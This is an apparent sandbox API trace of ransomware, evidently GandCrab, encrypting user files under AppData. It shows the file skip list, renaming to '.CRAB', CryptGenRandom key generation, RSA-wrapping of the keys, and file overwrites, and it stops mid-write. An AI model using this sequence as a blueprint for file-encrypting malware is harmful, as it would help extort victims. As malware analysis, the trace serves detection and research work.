	[0109.350] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.350] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.350] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.351] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\CRAB-DECRYPT.txt") returned 75
	[0109.351] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\CRAB-DECRYPT.txt") returned 75
	[0109.351] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.351] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.351] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.351] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.351] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.351] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.351] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.351] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.351] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.351] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.351] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.351] lstrcmpW (lpString1="sonar_policy.xml", lpString2=".") returned 1
	[0109.351] lstrcmpW (lpString1="sonar_policy.xml", lpString2="..") returned 1
	[0109.351] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="sonar_policy.xml" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml"
	[0109.351] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.351] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml") returned 75
	[0109.352] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml") returned 75
	[0109.352] lstrlenW (lpString=".xml") returned 4
	[0109.352] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.352] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xml ") returned 5
	[0109.352] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.352] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml") returned 75
	[0109.352] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml") returned 75
	[0109.352] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="desktop.ini") returned 1
	[0109.352] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="autorun.inf") returned 1
	[0109.352] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="ntuser.dat") returned 1
	[0109.352] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="iconcache.db") returned 1
	[0109.352] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="bootsect.bak") returned 1
	[0109.352] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="boot.ini") returned 1
	[0109.352] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="ntuser.dat.log") returned 1
	[0109.352] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="thumbs.db") returned -1
	[0109.352] lstrcmpiW (lpString1="sonar_policy.xml", lpString2="CRAB-DECRYPT.txt") returned 1
	[0109.352] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.353] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.CRAB") returned 80
	[0109.353] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml")) returned 0x20
	[0109.354] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml", dwFileAttributes=0x20) returned 1
	[0109.354] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml.crab")) returned 1
	[0109.355] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0109.355] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.CRAB"
	[0109.355] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.CRAB.CRAB"
	[0109.355] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0109.356] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.356] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.357] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.357] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0109.357] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.357] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.357] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0109.357] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.358] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.358] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.358] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0109.358] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.358] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.358] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0109.358] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0109.359] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e6b0) returned 1
	[0109.359] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xd807a0) returned 1
	[0109.359] CryptGetKeyParam (in: hKey=0xd807a0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0109.359] CryptEncrypt (in: hKey=0xd807a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0109.360] GetLastError () returned 0x0
	[0109.360] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0109.360] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e9e0) returned 1
	[0109.360] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xd80ae0) returned 1
	[0109.360] CryptGetKeyParam (in: hKey=0xd80ae0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0109.360] CryptEncrypt (in: hKey=0xd80ae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0109.361] GetLastError () returned 0x0
	[0109.361] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0109.361] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0109.362] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0109.362] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0109.362] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x4949, lpOverlapped=0x0) returned 1
	[0109.386] VirtualAlloc (lpAddress=0x0, dwSize=0x4950, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0109.386] VirtualAlloc (lpAddress=0x0, dwSize=0x4950, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0109.387] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.387] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xffffb6b7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.387] WriteFile (in: hFile=0x3f8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x4950, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314a9bc*=0x4950, lpOverlapped=0x0) returned 1
	[0109.388] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.388] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.392] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0109.392] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0109.392] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0109.392] CloseHandle (hObject=0x3f8) returned 1
	[0109.395] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.395] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.395] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.395] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.396] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.396] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.396] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0109.396] FindClose (in: hFindFile=0xd80760 | out: hFindFile=0xd80760) returned 1
	[0109.396] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0109.396] FindClose (in: hFindFile=0xd802e0 | out: hFindFile=0xd802e0) returned 1
	[0109.397] FindNextFileW (in: hFindFile=0xd802a0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0109.397] FindClose (in: hFindFile=0xd802a0 | out: hFindFile=0xd802a0) returned 1
	[0109.397] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0109.397] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.397] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.397] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CRAB-DECRYPT.txt"
	[0109.397] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.397] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CRAB-DECRYPT.txt") returned 54
	[0109.397] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CRAB-DECRYPT.txt") returned 54
	[0109.397] lstrlenW (lpString=".txt") returned 4
	[0109.397] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.398] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.398] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.398] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CRAB-DECRYPT.txt") returned 54
	[0109.398] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\CRAB-DECRYPT.txt") returned 54
	[0109.398] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.398] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.398] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.398] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.398] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.398] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.398] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.398] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.398] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.399] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.399] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0109.399] lstrcmpW (lpString1="Dggyafw7MArNa.mp3", lpString2=".") returned 1
	[0109.399] lstrcmpW (lpString1="Dggyafw7MArNa.mp3", lpString2="..") returned 1
	[0109.399] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Dggyafw7MArNa.mp3" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3"
	[0109.399] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.399] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3") returned 55
	[0109.399] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3") returned 55
	[0109.399] lstrlenW (lpString=".mp3") returned 4
	[0109.399] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.400] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mp3 ") returned 5
	[0109.400] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.400] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3") returned 55
	[0109.400] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3") returned 55
	[0109.400] lstrcmpiW (lpString1="Dggyafw7MArNa.mp3", lpString2="desktop.ini") returned 1
	[0109.400] lstrcmpiW (lpString1="Dggyafw7MArNa.mp3", lpString2="autorun.inf") returned 1
	[0109.400] lstrcmpiW (lpString1="Dggyafw7MArNa.mp3", lpString2="ntuser.dat") returned -1
	[0109.400] lstrcmpiW (lpString1="Dggyafw7MArNa.mp3", lpString2="iconcache.db") returned -1
	[0109.400] lstrcmpiW (lpString1="Dggyafw7MArNa.mp3", lpString2="bootsect.bak") returned 1
	[0109.400] lstrcmpiW (lpString1="Dggyafw7MArNa.mp3", lpString2="boot.ini") returned 1
	[0109.400] lstrcmpiW (lpString1="Dggyafw7MArNa.mp3", lpString2="ntuser.dat.log") returned -1
	[0109.400] lstrcmpiW (lpString1="Dggyafw7MArNa.mp3", lpString2="thumbs.db") returned -1
	[0109.400] lstrcmpiW (lpString1="Dggyafw7MArNa.mp3", lpString2="CRAB-DECRYPT.txt") returned 1
	[0109.400] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.401] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3.CRAB") returned 60
	[0109.401] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\dggyafw7marna.mp3")) returned 0x20
	[0109.401] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3", dwFileAttributes=0x20) returned 1
	[0109.401] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\dggyafw7marna.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\dggyafw7marna.mp3.crab")) returned 1
	[0109.402] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0109.402] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3.CRAB"
	[0109.403] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3.CRAB.CRAB"
	[0109.403] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0109.403] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.404] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.404] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.404] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0109.404] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.404] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.404] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e5a0) returned 1
	[0109.405] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.405] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.405] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.405] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0109.405] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0109.405] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.406] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0109.406] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0109.406] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0109.407] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd802a0) returned 1
	[0109.407] CryptGetKeyParam (in: hKey=0xd802a0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0109.407] CryptEncrypt (in: hKey=0xd802a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0109.407] GetLastError () returned 0x0
	[0109.408] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0109.408] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0109.408] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd802e0) returned 1
	[0109.408] CryptGetKeyParam (in: hKey=0xd802e0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0109.409] CryptEncrypt (in: hKey=0xd802e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0109.409] GetLastError () returned 0x0
	[0109.409] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0109.409] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Dggyafw7MArNa.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\dggyafw7marna.mp3.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0109.409] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0109.410] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0109.410] ReadFile (in: hFile=0x3ec, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314c9c4*=0x1505b, lpOverlapped=0x0) returned 1
	[0109.423] VirtualAlloc (lpAddress=0x0, dwSize=0x15060, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0109.425] VirtualAlloc (lpAddress=0x0, dwSize=0x15060, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0109.427] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.428] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffeafa5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.428] WriteFile (in: hFile=0x3ec, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x15060, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314c9b4*=0x15060, lpOverlapped=0x0) returned 1
